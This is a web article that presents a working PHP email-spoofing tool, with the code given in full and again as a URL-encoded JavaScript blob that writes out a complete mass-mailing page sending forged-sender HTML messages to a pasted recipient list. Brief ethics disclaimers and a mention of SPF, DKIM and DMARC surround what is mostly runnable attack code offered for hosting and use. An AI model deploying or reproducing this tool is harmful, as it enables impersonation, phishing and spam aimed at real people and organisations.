Skip to content
Threat Intelligence

How to use Email Spoofing

This PHP code allows the sending of spoofed emails by customizing the From address and email headers. It leverages the mail() function to send emails, enabling the specification of any sender address. Such scripts can be used for testing email security but should be used ethically and legally.

3 min read
Email Spoofing PHP

πŸ›‘οΈ How to Use Email Spoofing

Email spoofing is the practice of forging email headers to make messages appear as though they are coming from a trusted source. While often used maliciously, it also has ethical applications in testing the robustness of email systems. This article provides a complete guide to setting up and using a PHP-based email spoofing tool responsibly.


βš™οΈ Requirements

To use the provided PHP-based email spoofing script, ensure you have the following:

RequirementDescription
Apache ServerRequired to host the PHP script.
No MX RecordsNot necessary for running the script.

πŸ“œ Download the Source Code

The source code for the PHP-based email spoofing script is available on GitHub. Download the latest release here:

Github Release


πŸ”„ FAQs

❓ Can I run this code on a static website?

Answer: No, it is not possible. You need an Apache server, cPanel, or VPS to host the script. Free hosting services can also work.

❓ Is it risky to run this on a personal server?

Answer: Yes, there are risks involved. Use this script for educational and ethical testing purposes only. Hosting such scripts on a personal server can expose you to potential misuse or vulnerabilities.


πŸŽ₯ Watch How to Host the Script

Watch Video Tutorial


πŸ“ Source Code Overview 01

Below is the PHP code for the email spoofing script:

<?php
if (isset($_POST['ajax'])) {
    $to = $_POST['to'];
    $subject = $_POST['sub'];
    $msg = $_POST['msg'];
    $headers = "MIME-Version: 1.0" . "\r\n";
    $headers .= "Content-type:text/html;charset=UTF-8" . "\r\n";
    $headers .= "From: ".$_POST['name']."<".$_POST['from'].">";
    
    $send = mail($to, $subject, $msg, $headers);
    
    if ($send) {
        echo "<p id='success'>Message sent successfully! βœ”οΈ  $to</p>";
    } else {
        echo "<p id='error'>Failed to send message ❌  $to</p>";
    }
    exit();
}
?>

πŸ“ Source Code Overview 02

Below is the PHP code for the email spoofing script:

<script language=javascript>document.write(unescape('%0A%20%20%20%20%3C%3Fphp%0A%20%20%20%20if%20%28isset%28%24_POST%5B%27ajax%27%5D%29%29%20%7B%0A%20%20%20%20%24to%20%3D%20%24_POST%5B%27to%27%5D%3B%0A%20%20%20%20%24subject%20%3D%20%24_POST%5B%27sub%27%5D%3B%0A%20%20%20%20%24msg%20%3D%20%24_POST%5B%27msg%27%5D%3B%0A%20%20%20%20%24headers%20%3D%20%22MIME-Version%3A%201.0%22%20.%20%22%5Cr%5Cn%22%3B%0A%20%20%20%20%24headers%20.%3D%20%22Content-type%3Atext/html%3Bcharset%3DUTF-8%22%20.%20%22%5Cr%5Cn%22%3B%0A%20%20%20%20%24headers%20.%3D%20%22From%3A%20%22.%24_POST%5B%27name%27%5D.%22%3C%22.%24_POST%5B%27from%27%5D.%22%3E%22%3B%0A%20%20%20%20%0A%20%20%20%20%24send%20%3D%20mail%28%24to%2C%24subject%2C%24msg%2C%24headers%29%3B%0A%20%20%20%20%0A%20%20%20%20if%20%28%24send%29%20%7B%0A%20%20%20%20%09echo%20%22%3Cp%20id%3D%27success%27%3E%20%u09B8%u09C7%u09A8%u09CD%u09A1%20%u09B9%u0987%u099B%u09C7%2C%20%u0987%u09DF%u09CB%21%20%u2714%uFE0F%20%20%24to%3C/p%3E%22%3B%0A%20%20%20%20%7Delse%7B%0A%20%20%20%20%09echo%20%22%3Cp%20id%3D%27error%27%3E%u09B8%u09B0%u09BF%21%20%u09AF%u09BE%u09DF%20%u09A8%u09BF%21%20%u274C%20%20%24to%3C/p%3E%22%3B%0A%20%20%20%20%7D%0A%20%20%20%20exit%28%29%3B%0A%20%20%20%20%7D%0A%20%20%20%20%3F%3E%0A%20%20%20%20%3C%21DOCTYPE%20html%3E%0A%20%20%20%20%3Chtml%20lang%3D%22en%22%3E%0A%20%20%20%20%3Chead%3E%0A%20%20%20%20%09%3Cmeta%20charset%3D%22UTF-8%22%3E%0A%20%20%20%20%09%3Cmeta%20name%3D%22viewport%22%20content%3D%22width%3Ddevice-width%2C%20initial-scale%3D1.0%22%3E%0A%20%20%20%20%09%3Cmeta%20http-equiv%3D%22X-UA-Compatible%22%20content%3D%22ie%3Dedge%22%3E%0A%20%20%20%20%09%3Clink%20href%3D%22https%3A//fonts.googleapis.com/css%3Ffamily%3DMontserrat%7CRoboto%22%20rel%3D%22stylesheet%22%3E%0A%20%20%20%20%09%3Clink%20rel%3D%22icon%22%20href%3D%22fav.svg%22%3E%0A%20%20%20%20%09%3Ctitle%3EMAIL%20SPOOFER%20-%20Rialms%3C/title%3E%0A%20%20%20%20%09%0A%20%20%20%20%09%0A%20%20%20%20%09%3Cstyle%3E%0A%20%20%20%20%09body%7B%0A%20%20%20%20%09%09margin%3A%200%3B%0A%20%20%20%20%09%09padding%3A%200%3B%0A%20%20%20%20%09%09background%3A%20%2300bf8f%3B%20%20/*%20fallback%20for%20old%20browsers%20*/%0A%20%20%20%20background%3A%20-webkit-linear-gradient%28to%20right%2C%20%23001510%2C%20%2300bf8f%29%3B%20%20/*%20Chrome%2010-25%2C%20Safari%205.1-6%20*/%0A%20%20%20%20background%3A%20linear-gradient%28to%20right%2C%20%23001510%2C%20%2300bf8f%29%3B%20/*%20W3C%2C%20IE%2010+/%20Edge%2C%20Firefox%2016+%2C%20Chrome%2026+%2C%20Opera%2012+%2C%20Safari%207+%20*/%0A%20%20%20%20%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%3A%3Aplaceholder%20%7B%0A%20%20%20%20%20%20%20%20%09color%3A%20red%3B%0A%20%20%20%20%20%20%20%20%09opacity%3A%20.9%3B%0A%20%20%20%20%20%20%20%20%09font-size%3A%2015px%21important%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09.main%7B%0A%20%20%20%20%09%09max-width%3A%20768px%3B%0A%20%20%20%20%09%09margin%3A%200%20auto%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23title%7B%0A%20%20%20%20%09%09color%3A%20%23e3b8b9%3B%0A%20%20%20%20%20%20%20%20text-shadow%3A%200%200%2020px%20%23a00000%3B%0A%20%20%20%20%09%09text-align%3A%20center%3B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%0A%20%20%20%20%09.responsive%20%7B%0A%20%20%20%20%20%20max-width%3A%20100%25%3B%0A%20%20%20%20%20%20height%3A%20auto%3B%0A%20%20%20%20%7D%0A%20%20%20%20%09%0A%20%20%20%20%09input%5Btype%3D%22text%22%5D%7B%0A%20%20%20%20%09%09background%3A%20%23BA5370%3B%20%20/*%20fallback%20for%20old%20browsers%20*/%0A%20%20%20%20background%3A%20-webkit-linear-gradient%28to%20right%2C%20%23F4E2D8%2C%20%23BA5370%29%3B%20%20/*%20Chrome%2010-25%2C%20Safari%205.1-6%20*/%0A%20%20%20%20background%3A%20linear-gradient%28to%20right%2C%20%23F4E2D8%2C%20%23BA5370%29%3B%20/*%20W3C%2C%20IE%2010+/%20Edge%2C%20Firefox%2016+%2C%20Chrome%2026+%2C%20Opera%2012+%2C%20Safari%207+%20*/%0A%20%20%20%20%0A%20%20%20%20%09%09box-shadow%3A%200%200%2011px%200px%20lime%3B%0A%20%20%20%20%09%09height%3A%2040px%3B%0A%20%20%20%20%09%09width%3A%2047%25%3B%0A%20%20%20%20%09%09border%3A%20none%3B%0A%20%20%20%20%09%09border-radius%3A%204px%3B%0A%20%20%20%20%09%09padding%3A%2015px%3B%0A%20%20%20%20%09%09margin%3A%201%25%3B%0A%20%20%20%20%09%09box-sizing%3A%20border-box%3B%0A%20%20%20%20%09%09outline%3A%20none%3B%0A%20%20%20%20%09%09transition%3A%20.5s%20ease-in%3B%0A%20%20%20%20%09%09color%3A%20red%3B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%09font-size%3A%2014px%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09input%5Btype%3D%22text%22%5D%3Ahover%7B%0A%20%20%20%20%09%09box-shadow%3A%200%200%2011px%200px%20red%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23sub%7B%0A%20%20%20%20%09%09width%3A%2096.5%25%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09textarea%7B%0A%20%20%20%20%09%09background%3A%20%23F00000%3B%20%20/*%20fallback%20for%20old%20browsers%20*/%0A%20%20%20%20background%3A%20-webkit-linear-gradient%28to%20right%2C%20%23DC281E%2C%20%23F00000%29%3B%20%20/*%20Chrome%2010-25%2C%20Safari%205.1-6%20*/%0A%20%20%20%20background%3A%20linear-gradient%28to%20right%2C%20%23DC281E%2C%20%23F00000%29%3B%20/*%20W3C%2C%20IE%2010+/%20Edge%2C%20Firefox%2016+%2C%20Chrome%2026+%2C%20Opera%2012+%2C%20Safari%207+%20*/%0A%20%20%20%20%0A%20%20%20%20%09%09box-shadow%3A%200%200%2011px%200px%20lime%3B%0A%20%20%20%20%09%09height%3A%20300px%3B%0A%20%20%20%20%20%20%20%20%09width%3A%2047%25%3B%0A%20%20%20%20%20%20%20%20%09max-width%3A%2049%25%3B%0A%20%20%20%20%09%09border%3A%20none%3B%0A%20%20%20%20%09%09border-radius%3A%204px%3B%0A%20%20%20%20%09%09padding%3A%2015px%3B%0A%20%20%20%20%09%09margin%3A%201%25%3B%0A%20%20%20%20%09%09box-sizing%3A%20border-box%3B%0A%20%20%20%20%09%09outline%3A%20none%3B%0A%20%20%20%20%09%09transition%3A%20.5s%20ease-in%3B%0A%20%20%20%20%09%09color%3A%20white%3B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%09font-size%3A%2014px%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09textarea%3Ahover%7B%0A%20%20%20%20%09%09box-shadow%3A%200%200%2011px%200px%20red%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23btn%7B%0A%20%20%20%20%09%09background-color%3A%20%23f00000%3B%0A%20%20%20%20%09%09box-shadow%3A%200%200%2011px%200px%20lime%3B%0A%20%20%20%20%09%09width%3A%2096.5%25%3B%0A%20%20%20%20%09%09height%3A%2040px%3B%0A%20%20%20%20%09%20%20%20%20margin-left%3A%205px%3B%0A%20%20%20%20%09%09margin-bottom%3A%2040px%3B%0A%20%20%20%20%09%09color%3A%20honeydew%3B%0A%20%20%20%20%09%09border%3A%20none%3B%0A%20%20%20%20%09%09border-radius%3A%204px%3B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%09font-size%3A%2018px%3B%0A%20%20%20%20%09%09font-weight%3A%20bold%3B%0A%20%20%20%20%09%09letter-spacing%3A%201px%3B%0A%20%20%20%20%09%09box-sizing%3A%20border-box%3B%0A%20%20%20%20%09%09outline%3A%20none%3B%0A%20%20%20%20%09%09transition%3A%204.5s%20ease-in%3B%0A%20%20%20%20%09%09cursor%3A%20pointer%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23btn%3Ahover%7B%0A%20%20%20%20%09%09color%3A%20red%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23success%7B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%09color%3A%20green%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%23error%7B%0A%20%20%20%20%09%09font-family%3A%20Montserrat%3B%0A%20%20%20%20%09%09color%3A%20red%3B%0A%20%20%20%20%09%7D%0A%20%20%20%20%09%3C/style%3E%0A%20%20%20%20%3C/head%3E%0A%20%20%20%20%3Cbody%3E%0A%20%20%20%20%3Cform%20action%3D%22%22%20method%3D%22post%22%3E%0A%20%20%20%20%3Cdiv%20class%3D%22main%22%20style%3D%22margin-top%3A%20100px%3B%22%3E%0A%20%20%20%20%09%3Ch1%20id%3D%22title%22%3E%3Cimg%20src%3D%22logo.png%22%20alt%3D%22EMAIL%20SPOOFER%20-%20Rialms%22%20class%3D%22responsive%22%20width%3D%22600%22%20height%3D%22400%22%3E%3C/h1%3E%0A%20%20%20%20%09%3Cdiv%3E%0A%20%20%20%20%09%09%3Cinput%20type%3D%22text%22%20name%3D%22from%22%20id%3D%22from%22%20placeholder%3D%22From%20Email%22%3E%0A%20%20%20%20%09%09%3Cinput%20type%3D%22text%22%20name%3D%22name%22%20id%3D%22name%22%20placeholder%3D%22From%20Name%22%3E%0A%20%20%20%20%09%3C/div%3E%3Cbr%3E%0A%20%20%20%20%09%3Cdiv%3E%0A%20%20%20%20%09%09%3Cinput%20type%3D%22text%22%20name%3D%22sub%22%20id%3D%22sub%22%20placeholder%3D%22Subject%22%3E%0A%20%20%20%20%09%3C/div%3E%3Cbr%3E%0A%20%20%20%20%09%3Cdiv%3E%0A%20%20%20%20%09%09%3Ctextarea%20name%3D%22msg%22%20id%3D%22msg%22%20placeholder%3D%22Message%20Text%20or%20HTML%20code%22%3E%3C/textarea%3E%0A%20%20%20%20%09%09%3Ctextarea%20name%3D%22to%22%20id%3D%22to%22%20placeholder%3D%22Mailist%22%3E%3C/textarea%3E%0A%20%20%20%20%09%3C/div%3E%0A%20%20%20%20%09%3Cdiv%3E%3Cbr%3E%3Cbr%3E%0A%20%20%20%20%09%09%3Cbutton%20id%3D%22btn%22%20onclick%3D%22return%20false%22%3ESEND%3C/button%3E%0A%20%20%20%20%09%3C/div%3E%0A%20%20%20%20%09%3Cdiv%20id%3D%22result%22%3E%3C/div%3E%0A%20%20%20%20%3C/div%3E%0A%20%20%20%20%3C/form%3E%0A%20%20%20%20%3Cscript%20src%3D%22https%3A//code.jquery.com/jquery-3.3.1.js%22%3E%3C/script%3E%0A%20%20%20%20%3Cscript%20type%3D%22text/javascript%22%3E%0A%20%20%20%20%24%28document%29.ready%28function%28%29%7B%0A%20%20%20%20%09%24%28%22%23btn%22%29.on%28%27click%27%2Cfunction%28%29%7B%0A%20%20%20%20%09%09var%20mailist%20%3D%20%24%28%22%23to%22%29.val%28%29.split%28%22%5Cn%22%29%3B%0A%20%20%20%20%09%09var%20tmailist%20%3D%20%20mailist.length%3B%0A%20%20%20%20%09%09for%20%28var%20current%20%3D%200%3B%20current%20%3C%20tmailist%3B%20current++%29%20%7B%0A%20%20%20%20%09%09var%20from%20%3D%20%24%28%22%23from%22%29.val%28%29%3B%0A%20%20%20%20%09%09var%20name%20%3D%20%24%28%22%23name%22%29.val%28%29%3B%0A%20%20%20%20%09%09var%20sub%20%3D%20%24%28%22%23sub%22%29.val%28%29%3B%0A%20%20%20%20%09%09var%20msg%20%3D%20%24%28%22%23msg%22%29.val%28%29%3B%0A%20%20%20%20%09%09var%20to%20%3D%20mailist%5Bcurrent%5D%3B%0A%20%20%20%20%09%09var%20data%20%3D%20%22ajax%3D1%26from%3D%22%20+%20from%20+%20%22%26name%3D%22%20+%20name%20+%20%22%26sub%3D%22%20+%20sub%20+%20%22%26msg%3D%22%20+%20msg%20+%20%22%26to%3D%22%20+%20to%3B%0A%20%20%20%20%09%09%09%24.ajax%28%7B%0A%20%20%20%20%09%09%09%09type%20%3A%20%27POST%27%2C%0A%20%20%20%20%09%09%09%09data%3A%20%20data%2C%0A%20%20%20%20%09%09%09%09success%3A%20function%28data%29%20%7B%0A%20%20%20%20%09%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%24%28%22%23result%22%29.append%28data%29%3B%0A%20%20%20%20%09%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%09%09%09%7D%29%3B%0A%20%20%20%20%09%09%7D%0A%20%20%20%20%0A%20%20%20%20%0A%20%20%20%20%09%7D%29%3B%0A%20%20%20%20%7D%29%3B%0A%20%20%20%20%3C/script%3E%0A%20%20%20%20%3C/body%3E%0A%20%20%20%20%3C/html%3E'))</script>

The script includes features such as:

  • Dynamic input for β€œFrom” address and name.
  • HTML email support using headers.
  • AJAX functionality for seamless user interaction.

πŸ”’ Ethical Use of Email Spoofing

Best Practices

  1. Obtain Permission: Use spoofing scripts only on systems you own or have explicit permission to test.
  2. Secure Your Server: Ensure your Apache server is updated to prevent vulnerabilities.
  3. Avoid Malicious Intent: Do not use spoofing to deceive or harm others.

Detecting Spoofed Emails

Organizations can use tools such as SPF, DKIM, and DMARC records to identify and block spoofed emails.


πŸš€ Advanced Usage and Limitations

Limitations of the Script

  1. Reliance on Apache Server: The script requires an Apache environment to function.
  2. SPF and DKIM Records: Modern email systems may flag or block spoofed emails based on these records.

Advanced Use Cases

  1. Testing Anti-Spoofing Measures: Use the script to validate the effectiveness of SPF, DKIM, and DMARC configurations.
  2. Awareness Training: Demonstrate the risks of email spoofing to educate users and organizations.

πŸ”— Additional Resources


Disclaimer:
This article is for educational purposes only. The misuse of email spoofing scripts can have serious legal and ethical implications. Always use these tools responsibly and within the boundaries of the law.

Stay Ethical. Stay Secure. πŸ›‘οΈβœ¨


Share article

Subscribe to my newsletter

Receive my case study and the latest articles on my WhatsApp Channel.